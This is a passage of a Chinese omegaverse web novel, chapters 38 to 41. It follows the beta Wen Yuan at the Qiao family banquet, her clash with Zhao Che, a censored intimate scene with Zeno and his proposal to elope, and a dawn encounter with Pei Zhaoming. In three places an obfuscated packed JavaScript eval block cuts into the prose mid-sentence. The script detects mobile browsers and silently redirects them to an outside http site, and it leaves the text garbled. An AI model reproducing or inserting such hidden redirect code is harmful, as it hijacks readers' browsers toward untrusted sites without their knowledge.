请柬上,鎏金的月桂花纹样铺着一层金粉,绚烂夺目,奢贵无比,正如乔家在华都的地位。 闻鸢正感叹着明天又是一整天的体力活,转头便听到楼梯那边传来啪嗒啪嗒的脚步声。 大概是泽诺跟他妈吵完了。 果不其然,泽诺趿着拖鞋,一把拧开闻鸢的房门,见到闻鸢躺在床上后,忍不住地扑进她怀里放声大哭。 “妈妈是大笨蛋!”他一边用闻鸢的领子擦去眼泪鼻涕,一边狠狠拍打着床上的玩偶泄愤。 闻鸢默不作声地拉过那条绿色的法兰绒披肩,把他整个人裹起来。 “哪里笨了?说说?” 他气呼呼地把布料从头上扯下来,头发乱成一团,“让我联姻就算了,她居然……居然让我跟……” 那个名字似乎难以启齿,他脸颊忽然苍白,嘴巴做了一个呕吐的动作。 闻鸢轻轻地将某人凌乱的金发理顺,慢条斯理地说,“嗯,我猜猜,那个人是乔之瑜?” 他眼睛瞪大,嘴巴张成o型。 “你怎么知道?”泽诺瞪着他那天真的蓝色大眼睛问道。 这简直太好猜了。 乔家的地位和资源原本就是艾薇所中意的,可惜当初帮泽诺选联姻对象的时候,乔之瑜已经有未婚夫了,所以艾薇也没办法把主意打到她身上。 现在好了,婚约取消,这姐一下子成了华都各家族的香饽饽,明天不得被烦死? 可是说到底,和乔家联姻哪有那么容易,这么大的事情,也不是艾薇说联姻就能联上的。 于是,她拍了拍泽诺圆而蠢的后脑勺,安慰道:“放心吧,你看她这么花心,说不定明天宴会就看上别人了。” 她忽而岔开话题道:“你这么讨厌她,是因为她之前给你留下了不好的印象吗?” 泽诺成功地被转移了注意力,他在床上滚了两圈,含含糊糊地说道: “其实也只见过一面,赵琰平时把她藏得跟什么似的,生怕他的前未婚妻被人抢走。” “我只记得那个人傲得很,整天拿鼻孔看人。” “有时候不耐烦了,冷哼一声,懒懒地说句‘滚远点’,眼神能把人戳死。” 哇哦,天龙人中的天龙人。 闻鸢一般把这种人称之为赛级天龙人。 泽诺恶寒地抖了一下,眼里的嫌弃快要溢出来,“也不知道赵琰是瞎了还是怎样,上赶着倒贴。” “哎呀烦死了,这种女alpha就活该一辈子找不到伴侣!!!” 泽诺把自己裹进深绿色的披肩,心情郁闷至极,却忽而听到闻鸢在他旁边低低地笑起来。 猛地掀开布料,只见闻鸢拿着手机,似乎正在录像,因为太好笑而不得不捂住了肚子。 “泽诺,你现在好像一只肥美的大青虫。” “闻鸢!我生气了!!!” 大青虫猛地弹射起步,给闻鸢来了个头槌。 38. 第 38 章 号称联邦最昂贵的港湾酒店在夜幕降临时显得奢贵非凡。 数以万计的鎏金灯盏同时亮起,与海湾的粼粼波光交相辉映。 昂贵的座驾一辆接着一辆地从正门不急不缓地驶进。 泊车小弟笑脸相迎,弯腰为贵宾引路。 水晶吊灯折射出的光芒如同碎钻般洒落,将整个宴会厅映照得如同白昼。 闻鸢提着裙摆,走在泽诺身后,不着痕迹地打量着宴会厅里的众人。 奥兰德家族的到来无疑让众人感到意外,闻鸢听到一阵微弱的吸气声,紧接着便是众人似有若无的目光在他们几人身上来回扫荡着。 艾薇脸色不变,目光镇定。 她今天穿了一袭暗红色的丝绒礼服,颈间的钻石项链在灯光下熠熠生辉。 红唇勾起一个客套的笑容,她挽着约顿上前一步,轻车熟路地与乔家众人握手交谈。 “乔总,幸会。乔老太太今天生日,母亲托我给她带了点礼物,万望笑纳。” 与艾薇握手的是一位高挑的女性alpha,身着紫罗兰礼服裙,裙身剪裁极尽优雅。 她笑着道谢,上挑的凤眼却仍旧流露出几分疏离和高傲。 “您太客气了,若有什么需要尽管吩咐工作人员就好,小晏,带贵宾进正厅。” 她似乎并不想进行一些无意义的寒暄,立即中断了对话,微微侧身示意他们可以离开,完全不顾艾薇略带不虞的神色。 闻鸢叹为观止,第一次直观地了解到乔家在华都享受着怎样的地位。 华都乔家,百年老钱。 在上世纪的金融危机中,乔家曾主导联邦银行业,稳定了金融市场。 发展到现在,他们的商业版图已经覆盖电力、铁路和钢铁行业,甚至还成为了现任总统背后的最大金主。 这背景、这实力,简直可以在联邦横着走,连艾薇这种大资本家在乔家面前也得收敛三分。 啧啧啧,要不说一物降一物呢,自然规律诚不欺我。 “这边请。” 一位身材高挑,皮肤白皙的男性omega从女人身后走出。 光影打在他立体的眉骨之上,在眼窝周围投下一层不深不浅的阴影。 相比于泽诺一眼让人惊艳的浓颜系长相,那个omega眉眼浅淡,好似雨后萦绕不散的远山岚雾,清冷俊逸,赏心悦目。 美人礼貌颔首,微微一笑,周围的光线瞬间都亮了几分。 “叫我乔晏就好,各位跟我来。” 嗯?乔家小辈不是有固定的取名格式吗?比如乔之瑜、乔之琮,他为什么不叫乔之晏? 愣神间,泽诺不满地肘了闻鸢一下,眼睛里仿佛藏着杀人的刀子,“再看把你眼珠子挖出来!” 闻鸢回神,连忙小声辩解道:“不是,我怎么没听过乔家还有这号人啊?” “而且……”闻鸢顿了顿,看到他举止谦逊,进退有度,周身气质更像书香世家出身,便觉得有点奇怪。 “他看起来一点也不像乔家人。” 纯血乔家人不应该都是眼高于顶、傲慢得连呼吸都带着施舍意味的吗? 就像刚刚那个女人,哪怕只是轻轻一瞥,都让人感觉被居高临下地审视着。 泽诺被她挽着,漫不经心地打量着周围的环境,觉得她的关注点一直很奇怪,就随口敷衍道: “谁知道呢?说不定是私生子认养回来的,这种事情不是很常见吗?” 他的话说大不大说小不小,听得闻鸢冷汗直冒,头皮发麻。 当面蛐蛐这一块,少爷也是没在怕的。 她连忙手指合十对他摆出一个祈祷的姿势,示意他带上脑子思考。 好死不死,一直目不斜视的艾薇忽然转头,死亡视线在泽诺和闻鸢两人之间逡巡了一会,仿佛在警告他们二人不要失言。 他俩就像上课讲话被班主任抓包的小学生,动作整齐划一地低下了头。 幸而乔晏并未听到二人的蛐蛐,引路结束之后就礼貌地离开了。 目送他远远离开,闻鸢心里吊着的那口气才真正放下来。 进入正厅,冗长而疲惫的商业社交才正式开始。 一般这个时候,泽诺会像个精致的小挂件一样跟在父母身边,逐一被介绍给对方的孩子。 纵使两位少爷内心都鄙夷得要命,也不得不在父母面前维持上等人的体面,装作很有耐心地发问并倾听。 话间,闻鸢实在受不了过于人机且不符合泽诺人设的对话,就用“手机落在车上了”这样的借口跑出来闲逛。 她走过一道海景长廊,两侧的墙壁镶嵌着会变换色彩的珊瑚灯,光线透过特制玻璃折射出粼粼波光,将整个空间映照得如同海底宫殿。 长廊尽头是一个小小的露台,贝壳形的玻璃地板下,幽蓝海水缓缓流动,各色鱼群穿梭其中。 闻鸢趴在栏杆上,嗅着咸湿的海风,好不惬意。 露台下方藏着一处隐秘的庭院,水流顺着青铜人鱼雕像的臂弯缓缓流下,落入铺满睡莲的池中,激起一圈细小的涟漪。 滑动门被骤然打开,皮鞋踩在鹅卵石上发出急促的嘎吱声响,伴着一道温润但惊讶的男声。 “之瑜,你喝酒了?!!” 很熟悉的声音,有点像刚刚那个清冷美人。 闻鸢悄悄伸出半个头,在暗中窥视底下的情况。 只见一个瘦高的女人缓缓逼近乔晏,她伸手扣住乔晏的肩膀,凤眸微微眯起,露出几分压迫与危险。 她像一只巡视自己领地的狮子一样,目光一寸一寸地打量着面前那个男人,在他略带颤抖的眼神中,弯腰凑近他的脖颈,轻轻嗅闻omega因激动而不小心逸散出来的信息素。 “阿晏,头好晕。” 女人将头抵在乔晏的肩膀上,颇为餍足地深吸一口气。 乔晏抓着她的裙摆,挣扎了数秒之后,仿佛无法抵抗一般,抬起双手回抱住面前的女alpha。 ……啊啊啊啊啊啊啊啊啊??? 闻鸢简直难以形容那一刻的心情。 等一下,等一下,有点太超过了,这是什么新型关系? 一时间,无数猜测涌向脑海,闻鸢突然感觉到一阵生理性眩晕,不由得后退了几步。 高跟鞋撞上栏杆,发出“叮”的声响,顿时惊动了下面的两人。 “谁?”乔之瑜把乔晏护在身后,眼神警惕地扫视上方,却并未发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070889|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现什么异常。 那边,闻鸢拖着长裙穿过长廊,脑子里一团乱麻,更多的却是后怕。 不管二人实际身份如何,他们两个在明面上都是乔家人,这种事情传出去会闹得满城风雨,如果乔之瑜知道她在偷听,她这条小命可就不保了…… 攥着裙摆的手心出了一层冷汗,她回到正厅,环顾四周,却不见泽诺一家人的身影。 没有熟人在身边,她下意识地紧张起来,连身后来了个人都不知道。 “你就是闻鸢?”一道堪比播音员的磁性嗓音响起。 闻鸢一惊,转头的时候脸上还流露出几分惊惧。 抬头望去,一位衣着华贵雍容的男性站在她身后,他看起来五十岁左右,身材保持得很好,挺阔的西装衬得他气度非凡。 更重要的是,他有一双罕见的,灰色的眸子。 在他抬眼望她的一瞬间,那种锐利的神色和气质,让她想到了某个人。 事实证明闻鸢的直觉的确非常准确。 男人微微颔首,直接挑明了自己的身份,“你好,我是方鸣玉的父亲,赵澈。” 闻鸢稍稍收敛了自己的惊恐神色,摆出小辈的礼貌姿态,问好道:“赵总您好。” 男人顿了顿,露出一个安抚的笑容。 “不用那么生分,我知道你和鸣玉的事,你就和小瑜他们一样,喊我‘赵叔叔’就好。” 我知道你和鸣玉的事……我知道你和鸣玉的事……我知道你和鸣玉的事…… 这句话在闻鸢脑海中重复播放,惊惶像泄闸的洪水一样铺天盖地咆哮而来。 尽管如此,多年来训练出来的察言观色能力还是让她短暂地冷静了下来。 从表面上看,赵澈的攻击性并不强,对她几乎可以称得上和颜悦色,但是仔细咂摸他的表情和刚刚那句话,又有种皮笑肉不笑的意味。 闻鸢一时拿不准他的态度,只是调整表情,装作无事人一样地回些无关紧要的废话。 “很高兴认识你,赵叔叔。” 赵澈饶有兴味地打量着面前的这个年轻人,听到到她滴水不漏的回复后勾唇一笑。 “终于见到你了,听说你前些天受伤了,鸣玉还很担心,连泳队训练都顾不上了,吵着要来见你。” “怎么样,身体还恢复得好吗?” 这下让闻鸢听出来点东西了。 担心她是假的,阴阳她才是真的。 仿佛她是阻碍他儿子训练的一块绊脚石。 对付这种人闻鸢也有一套,就是装傻。 她露出一个人机微笑,假装没听出他的言外之意,“托您的福,身体已经好很多了,您不用担心。” 话毕,周围的温度都冷了几分。 见她油盐不进,赵澈卸下了平易近人的伪装,漫不经心地摇晃着酒杯,灰眸轻轻乜了闻鸢一眼。 “我看你也是个聪明人,所以不必与我虚与委蛇。” “不坦诚的似乎是您。”闻鸢不卑不亢地回呛道。 “呵!”他轻笑一声,侧头看她,话里已经懒得掩饰自己的不耐和冷漠。 “离开我儿子,条件随你开。” 哦,原来赵澈拿的是恶婆婆剧本。 39. 第 39 章 “就算是父母,随意插手孩子的感情问题,手会不会伸得太长了些?”闻鸢抬起眼皮,面不改色的反讽道。 赵澈居高临下地看着他,毫不在乎的态度像在看路边应激的流浪猫狗。 “闻小姐是在下城区长大的吧。”他说话慢悠悠的,语气带着惋惜的长叹,仿佛为闻鸢悲惨的身世感到难过。 他把话说得冠冕堂皇,仿佛真的在为闻鸢着想。 “真辛苦,一个beta,从下城区爬到中央城,想必你也付出了不少努力,也牺牲了……” “很多尊严。” 他故意顿了一下,好整以暇地盯着闻鸢的表情。 她的呼吸频率乱了,垂在身侧的手指抖了一下,手掌收紧了几分。 他冷笑一声,精致的眉眼带着残忍的弧度,连温柔的表情都显得刻薄无比。 “不管你用怎样的手段博得他的欢心,他以后的法定伴侣也只会是omega,而不是一个毫无作用的废物beta。” “所以,趁早放手,也给自己留点体面。” 最后几句话说得很重,赵澈看到面前的女人垂下头,肩膀不住地颤抖。 哭了吗?上不了台面的东西。 赵澈微抬下颌,眼神带了些鄙夷,刚要出声阴阳几句,却听到闻鸢发出一阵闷笑。 她抬起眼睛,脸上却洋溢着压制不住的嘲笑,“其实,你是发现管不住你儿子之后,才来找的我吧?” 赵澈的脸色倏地阴沉下来,常年带笑的嘴角绷得僵直。 哦豁,被她猜中喽。 超绝控制欲omega大爹发现自己的亲亲宝贝儿子叛逆期到了,不仅听不进自己说话,还一身反骨处处跟他对着干。 他表面上跑来闻鸢这里耀武扬威、言语侮辱,实际上是拿他儿子一点招也没有了。 闻鸢双手环胸,目光环绕着他上下打量了一下,“啧,你应该先去书店买本育儿书看看。” “当务之急是赶紧克制一下你对你儿子的控制欲。” 手指攥紧酒杯,指节都被捏得泛白,服帖的布料一起一伏,一呼一吸之间盈满了怒气。 “另外还有一点麻烦你搞搞清楚,死缠烂打的人是他,先招惹我的人也是他。” “如果你能说服他别来烦我,那我求之不得。” “不过我相信你暂时做不到这一点。” 她颇有自信地向他颔首,眼睛里没有得意或耀武扬威的神采,只是很平静地在阐述事实。 “幸会。”她拎起裙摆,灵巧地转了个身,抬脚向前厅那边走去。 “哐当”一声,像是有什么东西被狠狠掼落在地,玻璃碎片散落一地。 服务生领班倒吸一口凉气,随后从领子处扯出麦克风。 “正厅正厅,高脚杯碎掉一个,赶快来打扫,手脚麻利点,不要冲撞了贵客。” 正厅引起不小的骚动,闻鸢并没有回头,只是面色如常地穿过连廊,高跟鞋在贝壳石子路上发出微弱的咔嗒声。 小小的连廊没带恒温系统,夜风拂过,闻鸢冷得打了个喷嚏。 她内兜里扒拉出手机,手指拨弄着按钮,准备打电话问问泽诺他们在哪里。 “你迷路了吗?”慵懒随意的嗓音从连廊前方传来,一道高大的身影从阴影中缓缓步出。 眉色深浓,眼部轮廓立体分明,微微扬起的下颌天然带着一种傲气。 看清了来人的面容后,闻鸢在暗处默默翻了一个白眼。 怎么是乔之琮这个大傻帽? “乔少晚上好。”即使万般不情愿,但这是在他的地盘,闻鸢也不能扭头就走,也只能硬着头皮打了声招呼。 “好久不见,”声调上挑,带着逗弄人的揶揄,“需要我带路吗?” “不用了,我认得路。”闻鸢摆了摆手,表示自己没那么傻。 她缓步轻移,却发现后面的男人寸步不离地跟着她。 她停下脚步,没有回头,“乔少还有别的事吗?” “你跟方鸣玉在一起了?”乔之琮双手插兜,与闻鸢隔着几步的距离,声音带着点莫名的疑惑,还有点微不可察的失望。 闻鸢一时拿不准他的目的,只觉得他在冷嘲热讽。 “看来刚刚的戏乔少看得很开心。” 乔之琮噎了一下,不知道她为何脾气那么冲,有点郁闷地回复道:“这小子到底哪点吸引你了?真搞不懂。” 连这种无聊的男性魅力都要攀比吗? 闻鸢满头黑线,忍了又忍之后,干脆侧身靠在石柱上,侧着头望他,似乎在看这个麻烦精还能说些什么。 乔之琮却被她坦荡的眼神看得不自在,放在兜里的手忍不住悄悄捏紧。 他假咳了一声,假装很忙地看向连廊外的月桂花,“怎么不走了?” 闻鸢在屏幕上打了几个字,却看到泽诺发来消息说艾薇还在社交。 没意思。 手指轻敲屏幕,闻鸢漫不经心地回应道:“走不动了,歇会儿。” 一时间空气沉默下来,乔之琮挠了挠后脑勺,绞尽脑汁想问些什么,但又后知后觉地发现有些太过唐突。 烦恼间,闻鸢开口了,“你和乔之瑜是亲姐弟?” 乔之琮点点头,很不服气地应了声“对”。 “我们是双生子,但她只比我早几秒出生。”他找补道。 闻鸢了然,随后又问出那个超在意的问题,“那乔晏是你家里什么人?” 乔之琮顿了一下,沉默了一会儿后才找到合适的措辞,“嗯……是寄养在我家的弟弟,不过我们从小一起长大,怎么了?” “哦——”闻鸢看着他,欲言又止,止言又欲。 某人不知道的是,三个人的亲情其实早已变质。 “喂,用那种怜悯的眼神看着我做什么?”乔之琮上前一步,咬着牙控诉道。 “没什么,看你兄弟姐妹很多,挺羡慕的。”闻鸢一脸轻松地耸了耸肩,语气极为真诚。 乔之琮不信,抿了抿唇,像看出了她的敷衍态度,不满道:“有什么可羡慕的?你不也有家人?” “没有哦,我家人都去世了。”只听到站在暗处的女人用最轻松的口吻说出了最沉重的往事。 乔之琮一凛,准备争辩的嘴缓缓闭住,忽然没了声响。 闻鸢望着不远处璀璨的灯火和一晃而过的人影,忽而想到了什么,随意问了一嘴,“你家和陆家熟吗?” “……还行,不过你问这个做什么?”乔之琮用手指抵了抵眉心,根本没看出来闻鸢在套他的话。 “认识陆璟吗?”闻鸢立起身子,抬步向他走去。 橘红色的壁灯在她肩膀上打下一线暖光,冷白的皮肤被晕染得莹润。 她今天戴了一对珍珠耳环,行走间,那颗水滴一样耳环灵快地前后晃荡着,衬得她的面容愈发清冷。 乔之琮的喉咙上下滑动,不自觉地后退了一步,哽着嗓子说道:“听长辈提起一些,听说他是个疯子。” “疯子?”闻鸢脚步一顿,再次迈步时眼睛里闪过试探。 “是啊,听说他把自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087038|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子丢下了金桥。”他满不在乎地大漏特漏,没注意到闻鸢倏而睁大的双眼。 陆璟居然生下了那个孩子? 艾薇知道吗? 正当她头脑风暴的时候,乔之琮却像突然从梦中惊醒一样,紧张地捏住她的肩膀。 “我靠,别出去乱说,这是我偷听到的,被我妈知道就完蛋了!!!” 他拼命地摇着闻鸢的肩膀,向来天不怕地不怕的太子爷也有夹着尾巴做人的一天。 alpha手劲极大,闻鸢被他晃得想吐,双手虚握成拳,抵在他的胸口。 “冷静点,我什么都不会说。” 感知到胸口处微弱的热意,他才缓过神来,低头望去,只见女人脸色苍白,闭着眼睛缓缓地将额头抵在他肩膀。 “你……”乔之琮僵直着身体,一动不敢动,手指从闻鸢肩膀上一根根弹开。 闻鸢耳边嗡鸣,喘不上气,又觉得他实在吵得很,便伸出一根手指抵在他唇边,示意他噤声。 今天没吃晚饭,估计是低血糖了。 乔之琮身上喷了点男士香水,味道并不浓烈,但胜在留香时间持久。 水沉香的味道很清透,潮湿清冽的尾调与他莽撞热烈的性格形成鲜明反差。 她缓了一会儿,等到眼前逐渐清明了,才慢慢扶着他站直。 “谢了。”她轻轻向乔之琮抬了抬下巴,却发现他仍旧攥着她的手腕没有松手。 她试着挣扎了一下,却发现手腕上的力量不减反增。 “听说方鸣玉要订婚了,你知道吗?”乔之琮盯着他,眼神里带着按耐不住的急切。 “所以呢?”闻鸢自始至终没太搞懂乔之琮的点,下意识地以为他是来给方鸣玉上眼药的。 “都这样了你还要和他在一起吗?” 他的眼神烫得惊人,偏又带着小心翼翼的克制,两种矛盾的神情同时在他脸上出现的时候,闻鸢缓缓皱起了眉头。 “谢谢关心,但这是我和他的事。” 潜台词就是,乔之琮没有立场也没有资格插手他们二人之间的事情。 显然,乔之琮也听懂了她的言外之意,目光里的汹涌汇聚成一根紧绷的弦,束缚住内心那只张牙舞爪的兽。 手机像救命稻草一般,终于适时地响起。 闻鸢接起,听到泽诺疲惫又如蒙大赦的嗓音,“回去了。” “嗯。”她紧绷的唇线在此刻软了些弧度,连眉梢都带着点松快。 “走了。”她向乔之琮挥了挥手机,骤然亮起的屏幕照出她粉白的唇和微微弯曲的眉梢。 她轻松地挣开乔之琮的禁锢,裙摆像晚风吹过的花瓣,纷纷扬扬地扫过他的脚踝。 他呆傻地站在原地,看着夜风吹过她的脸颊,飘动的缎带缠绕住她细白的手臂,然后纤细的身影就这样消失在灯火最辉煌的地方。 回程路上,她和泽诺都显得有些沉默。 她在想陆璟的事,没注意到泽诺骤然低沉的情绪。 他靠在玻璃车窗上,眉峰压得很低,阴影落在眼窝,下颌线绷得很紧。 呼出的热气将玻璃晕出一圈水雾,泽诺的手指按在上面,一息之后,食指调转方向,勾住闻鸢的小指。 闻鸢抬头,看到一点明明灭灭的光在他眼里跳动着。 他疲惫地闭上双眼,手指却不安地绞住闻鸢,指尖用力到泛白。 “闻鸢,我们私奔吧,逃到别人找不到的地方。” 车经过高架桥,骤然吹入的风盖住他的声音,他的话如梦呓般脆弱。 40. 第 40 章 私奔。 这种词闻鸢只在狗血电视剧里见过。 一般是这么演的: 因家人阻挠,被恋爱冲昏头脑的omega毅然决然和家族断绝关系,不仅成功下嫁黄毛,还喜提一室一厅,一胎三宝。 虽然闻鸢不是黄毛,但她甚至连一室一厅都没有,更别提一胎三宝了。 女beta和男omega不能自然受孕,否则她和泽诺厮混那么多年,早搞出人命了。 当beta就这点好,跟omega交往完全不用提心吊胆。 “唔,你在分心?” 大汗淋漓的omega坐在洗手池上,双手握住柜壁上的扶手,殷红的双唇被beta细细捻磨。 闻鸢没搭话,只是轻轻地含着他的舌尖。将手伸到他的口口下方,然后慢慢往上推。 omega的肌肤太柔嫩,闻鸢只是虚虚拢着,手指底下的肌肤还是浮起一层粉红。 泽诺有些狼狈地靠在镜子前面,脖颈无助地向后仰去,整个人在口口中闭上了双眼。 闻鸢抬步往前,直到他的膝盖紧紧地抵住她的肩膀,她才缓缓口口起来。 开头总是很漫长,但好在闻鸢足够有耐心,她放出一点信息素作为安抚。 或许是很久没在一起了,泽诺在这次安抚中显得异常热情和大胆。 耳边是微弱的、被他刻意压制的声音。 “你还没回答我的问题。” “什么问题?”闻鸢明知故问,眉梢带着促狭的笑意。 泽诺的眉毛纠结地皱起来,喘气声中掺杂着微弱与心虚。 “就是……车上的那个问题。” 他贴近闻鸢,脸颊讨好地在她脖颈周围蹭了蹭,然后乖顺地将头偏到一边,任由闻鸢叼住颈后那块柔软。 闻鸢的吻总是很克制,若即若离,似乎下一秒就会抛下他离开。 她的唇很冷,贴在肌肤上时偏生缠出黏腻的痒,像藤蔓顺着脊椎往上攀,勒得人呼吸发紧。 冰凉啄吻划过的每一寸肌肤,都像是被烙铁印下了滚烫的痕迹。 “泽诺,别抖。” 犬齿精准地咬住那块脆弱,冰冷的唇微微张开,温热的舌尖抵着腺体极其缓慢地转了一圈。 泽诺受不住,用膝盖夹住闻鸢的腰腹,冰丝的睡袍上便多了几道他的汗渍。 “没有抖,我……我控制不了。”他委屈得快要落泪。 手臂绞紧,冰冷的抑制剂在她的啄吻之后接踵而至。 他还在抖,分不清是冷得发颤,还是热得快要烧起来。 胯骨传来微微酸痛,泽诺挂在闻鸢身上,双腿无力地垂坠在洗手台下,眼睛几乎失焦。 闻鸢将滑到一侧的衣领拉回原位,用食指轻轻擦去omega嘴唇周围的涎液。 漂亮的omega呆坐在原地,被汗水打湿的金发一缕一缕地贴在额头。 几乎是下意识地,他侧头含住闻鸢的手指。 从指尖到末端,全数包裹进他的口腔。 原本瘦削的颊侧鼓胀起来,恍然间能看到一点微妙的弧度。 闻鸢眉梢微挑,恶作剧般地伸出第二根手指。 他照单全收。 闻鸢的表情变得有些耐人寻味。 泽诺在刻意迎合、讨好她。 为什么? 这种自欺欺人的戏码,还要演多久? 闻鸢垂下眼帘,压住心中骤然泛起的烦躁和厌倦。 “泽诺,假如我能带你离开,你愿意为了我,跟你母亲摊牌吗?” 闻鸢抬起双眸,直直望进那双雾蓝色、犹如大海般纯净的眼瞳中。 像是被人猛地掀开了遮羞布,所有藏在眼底的情绪都来不及收拢,就那么赤裸裸地暴露在空气里。 睫毛簌簌地颤,在眼下扫出细碎的阴影。他瑟缩着,像被烫到似的垂下眼睫。 但这次闻鸢没有给他逃避的机会。 她上前一步,手指拢住他的肩膀,逼迫他抬起脸颊,声音天然地带着一种凌厉的压迫感。 “告诉我答案,你会吗?” 他难堪地沉默着,始终没有抬头看她一眼。 闻鸢看着他骤然苍白的脸颊和紧抿的双唇,无声地扯了一下嘴角,笑里的讽刺都懒得掩饰。 “你不敢对不对?” “说什么私奔,你其实根本就是想利用我去激你母亲,这样你就可以顺理成章地跟家里闹,逼家里妥协。” “说白了你其实是个两头都占的懦夫。你既不想联姻,又不想失去现在所拥有的一切。” “所以你绞尽脑汁,想出这种拿人当枪使的拙劣把戏。” “泽诺,你到底把我当什么?” 扣在肩膀处的手指一点点收紧,闻鸢靠近泽诺,眼睛一瞬不瞬地盯着他,眼底翻着冷意,冷淡的底色里又裹着点灼人的疼。 心底漫起无边的失望,微弱的刺痛一闪而过之时,闻鸢只觉得自己的心还是不够冷硬。 明明知道他是怎样的货色,被伤害了那么多次,却总觉得他的任性可以包容。 他像一朵美艳无害的食人花,数年来闻鸢用自己的心血供养,割掉不多的真心奉上,只为看到一朵为自己盛开的鲜花。 可是那朵花却将她当做养料的温床,把奉献视作理所应当。 撕裂的痛楚从身体里迸溅而出,闻鸢心底涌起一阵恶心,但更多的是被背刺的愤怒。 手指用力捏住泽诺的下颌,带着惩戒意味的动作让泽诺骤然一绷,身形不稳得几乎滑落下去,幸而闻鸢掌住他的腰腹,将他安置回原来的位置。 他又开始抖,原本光滑的皮肤上冒起一阵鸡皮疙瘩,湿热的泪水顺着脸颊流到闻鸢的手腕。 “我只是不甘心,难道我唯一的价值就是嫁给一个alpha,然后给那个人生一堆孩子吗?” “闻鸢,你不是口口声声说爱我吗?难道不可以帮帮我?” 又来了,这套熟悉的说辞。 闻鸢收紧手指,眼底的凛冽几乎化作寒冰。 “即便我爱你,我也不应该成为你实现目的的牺牲品,为你的人生献祭一切。” 手指松开,她后退一步,无力地合上双眼,愤怒的表情在温暖的壁灯下逐渐变得麻木。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102213|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是我的错,我不应该对你抱有幻想。” 门厅的灯在将近黎明时分亮起来,闻鸢裹着一件咖色的风衣推开冰冷的铜门。 初秋时节,长岛上栽种的槐树已经开始落叶,踩在脚底发出咯吱咯吱的声响。 她拦了一辆车,上车后司机问她去哪里,她沉默了很久,也没说出个所以然来。 司机又问了一遍,嗓音里已经带了些不耐烦。 “去金桥附近的公园。”闻鸢说了个清净点的地方,想着随便走走散散心。 血管里翻涌着躁意,脊背绷得发紧,脑袋抽痛,每每这个时候闻鸢都想抽支烟。 她掏了掏自己的包。 口袋空空。 出门太着急,她随便找了件外套就穿上了,根本没想到把烟和打火机带上。 空气中还弥漫着一层薄雾,出租车在红绿灯口停下,零星的人影从车窗前一闪而过。 闻鸢有些困,但闭上双眼的时候脑子又清醒得可怕,连浅眠都做不到。 司机把她扔在公园门口,闻鸢没进去,只是沿着河道旁的人行道缓缓踱步。 平静的水面倒映着金桥的光辉,仿佛有无数金箔顺着桥栏流淌,连缀起两岸的繁华。 金桥是华都最有名的建筑之一,鎏金璀璨的桥身不管是在白日还是在夜晚都是夺目的景致。 万盏灯火将整座桥浸在一片融融的辉煌里,有时候闻鸢觉得那根本不是桥,而是一条淌金流银的路。 她远远地站在河道旁,看着本世纪最繁华的庞然巨物,冷不丁地打了个颤。 “闻鸢?” 一道平缓而沙哑的声音在身后响起。 闻鸢回头,看到一身黑衣的裴昭明站在不远处,指尖夹着一根点燃的烟。 脱掉华丽紧绷的服饰,他的面容显得有些憔悴,碎发纷乱地散落在额前。 他的眼睛被薄雾染得潮湿,殷红的唇色是这暗沉色调中唯一的鲜艳。 “你怎么在这儿?” “你怎么在这儿?” 两人异口同声地问道。 一阵诡异的沉默后,闻鸢率先撒谎道:“晨练。” 裴昭明不可置信地挑了挑眉,上下打量了她一圈,却没有戳破这个拙劣的谎言,只是顺着她的话问道: “挺好的,练什么?” 闻鸢回答得干脆,“走路。” “……” “你呢?”她反问道。 裴昭明抬起手,那点微弱的火光短暂地亮了一些,然后火光缓慢攀升到烟卷中段。 “唔……跟你差不多,失眠,出来走走。” 闻鸢在他脸上巡视了一圈,捕捉到他眼睑下的一圈青黑,以及明显变尖的下巴。 “看来你这阵子过得不太好。”她锐评道。 他不置可否,耸了耸肩膀,唇角勾起闻鸢最熟悉的那种假笑,“我过得怎样,你不是最清楚吗?” 黑沉沉眼睛里看不到任何愉悦的神情,唇角却依然保持微笑的弧度。 “毕竟,你的私家侦探,在过去的几个月里,一直风雨无阻地跟踪我,不是吗?” 41. 第 41 章 裴昭明慢条斯理地抬起手指抖了抖烟灰,风掀起他黑色衬衫的袖口,露出小臂上淡青色的血管,在冷白的皮肤下宛若一道道青灰色的暗纹。 他侧头,从上到下,细细地打量着闻鸢,随后淡淡地转移话题道:“你瘦了好多。” 烟圈从唇间漫出来,冷冽的晨风拂过他微乱的额发。 “原本打算去医院看你,但醉金窟出了点问题,我走不开。” 那双潋滟分明的桃花眼在青灰色的烟圈中显得若即若离。 闻鸢站在原地,看见一点火星拂过他的手指,最后落到他的手腕上。 手腕内侧,一条小疤在光线下浅淡得几乎看不见。 即使被裴昭明揭穿,她的表情依旧平静淡然,甚至算得上事不关己。 但在看到那条刚愈合的伤疤时,她的眉毛缓缓蹙了起来。 